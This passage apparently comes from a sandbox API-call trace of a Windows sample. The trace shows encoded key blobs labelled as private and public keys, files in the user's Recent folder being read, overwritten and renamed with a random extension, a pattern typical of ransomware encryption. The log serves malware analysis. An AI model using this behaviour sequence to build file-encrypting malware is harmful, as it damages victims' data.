S1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0083.578] GetCurrentThreadId () returned 0xa30 [0083.578] GetCurrentThreadId () returned 0xa30 [0083.578] GetCurrentThreadId () returned 0xa30 [0083.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.579] GetCurrentThreadId () returned 0xa30 [0083.579] GetCurrentThreadId () returned 0xa30 [0083.579] GetCurrentThreadId () returned 0xa30 [0083.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sXOzIu2 q.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxoziu2 q.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x381 [0083.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.579] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x381, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x381, lpOverlapped=0x0) returned 1 [0083.581] CloseHandle (hObject=0x124) returned 1 [0083.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sXOzIu2 q.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxoziu2 q.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.582] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x381, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x381, lpOverlapped=0x0) returned 1 [0083.584] CloseHandle (hObject=0x124) returned 1 [0083.585] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sXOzIu2 q.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxoziu2 q.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sXOzIu2 q.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxoziu2 q.lnk.zv7un")) returned 1 [0083.586] GetCurrentThreadId () returned 0xa30 [0083.586] GetCurrentThreadId () returned 0xa30 [0083.586] GetCurrentThreadId () returned 0xa30 [0083.586] GetCurrentThreadId () returned 0xa30 [0083.586] GetCurrentThreadId () returned 0xa30 [0083.586] GetCurrentThreadId () returned 0xa30 [0083.586] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d75d280, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d75d280, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7833e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa25, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="SzoFqVMTlfvxL3--V.flv.lnk", cAlternateFileName="SZOFQV~1.LNK")) returned 1 [0083.586] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.586] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SzoFqVMTlfvxL3--V.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\szofqvmtlfvxl3--v.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d75d280, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d75d280, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7833e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa25)) returned 1 [0083.586] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SzoFqVMTlfvxL3--V.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\szofqvmtlfvxl3--v.flv.lnk")) returned 0x20 [0083.587] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SzoFqVMTlfvxL3--V.flv.lnk", dwFileAttributes=0x80) returned 1 [0083.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcK